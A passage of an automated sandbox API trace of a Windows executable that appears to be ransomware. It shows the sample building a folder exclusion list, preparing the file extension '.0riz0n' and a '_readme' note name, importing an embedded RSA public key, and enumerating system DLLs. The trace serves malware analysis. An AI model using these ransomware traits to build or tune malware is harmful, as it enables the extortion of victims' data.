(HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd5e8 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd258 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd268 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd278 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd288 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x20) returned 0xddbc08 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd5e8) returned 1 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd298 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc168 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2d8 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1b0 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2c8 [0024.004] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc5e8) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd248) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc630) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd238) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc678) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd228) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc6c0) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd218) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc708) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd208) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc750) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd1e8) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc798) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd1f8) returned 1 [0024.004] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc15058) returned 1 [0024.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc1f8, cbMultiByte=25, lpWideCharStr=0xdddae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc1b0, cbMultiByte=12, lpWideCharStr=0xdddb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc168, cbMultiByte=8, lpWideCharStr=0xdddbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc120, cbMultiByte=6, lpWideCharStr=0xdddc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc240, cbMultiByte=11, lpWideCharStr=0xdddd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc0d8, cbMultiByte=7, lpWideCharStr=0xdddeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0024.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc288, cbMultiByte=11, lpWideCharStr=0xdddf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0024.006] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xc12850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12850, cbMultiByte=14, lpWideCharStr=0xdddfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0024.007] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xc12850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12850, cbMultiByte=10, lpWideCharStr=0xdde048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0024.007] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xc12850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12850, cbMultiByte=36, lpWideCharStr=0xdde0d0, cchWideChar=36 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 36 [0024.007] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xc12850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc12850, cbMultiByte=45, lpWideCharStr=0xdde158, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15058, cbMultiByte=7, lpWideCharStr=0xdde1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0024.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0024.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15058, cbMultiByte=14, lpWideCharStr=0xdde268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0024.008] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0024.010] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18f914, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18f914, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0024.010] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xc17cf8, pcbBinary=0x18f914, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xc17cf8, pcbBinary=0x18f914, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0024.010] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xc17cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18f914 | out: pvStructInfo=0x0, pcbStructInfo=0x18f914) returned 1 [0024.016] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xc17cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xc17f40, pcbStructInfo=0x18f914 | out: pvStructInfo=0xc17f40, pcbStructInfo=0x18f914) returned 1 [0024.016] CryptImportPublicKeyInfo (in: hCryptProv=0x2ade88, dwCertEncodingType=0x10001, pInfo=0xc17f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xc17f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xc17f78*, PublicKey.cUnusedBits=0x0), phKey=0x18f918 | out: phKey=0x18f918*=0x2b2660) returned 1 [0024.018] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc17f40) returned 1 [0024.018] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc17cf8) returned 1 [0024.018] ReleaseMutex (hMutex=0xa0) returned 1 [0024.018] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc15058) returned 1 [0024.018] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x2800) returned 0xc15058 [0024.018] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc900 [0024.018] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc900) returned 1 [0024.018] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc15058) returned 1 [0024.018] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x2800) returned 0xc15058 [0024.018] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc900 [0024.018] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc900) returned 1 [0024.018] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc900 [0024.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0024.019] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde1e0 [0024.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc900, cbMultiByte=9, lpWideCharStr=0xdde1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0024.019] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde268 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde1e0) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde268) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc900) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc15058) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc12850) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd258) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd268) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd278) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd288) returned 1 [0024.019] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd5e8) returned 1 [0024.019] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0024.019] StartServiceCtrlDispatcherW (lpServiceTable=0x18f9e0*(lpServiceName="", lpServiceProc=0x119d040)) returned 0 [0024.029] GetLastError () returned 0x427 [0024.029] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe\" " [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde268 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x5c) returned 0xdddd28 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde1e0 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde2f0 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde378 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde400 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde488 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde510 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde598 [0024.029] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde620 [0024.030] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde6a8 [0024.030] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde730 [0024.030] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde7b8 [0024.030] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x100) returned 0xc17cf8 [0024.030] GetSystemWow64DirectoryW (in: lpBuffer=0xc17cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0024.030] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc17cf8) returned 1 [0024.030] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0024.030] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0024.030] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0024.030] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x18f73c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f73c) returned 0x2b2958 [0024.031] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.031] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.031] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.031] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.031] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.031] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.031] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.031] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.031] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.031] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0024.040] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.040] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0024.040] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0xddc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.041] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde950) returned 1 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0024.041] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde950 [0024.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.041] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.041] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.041] RtlFreeHeap 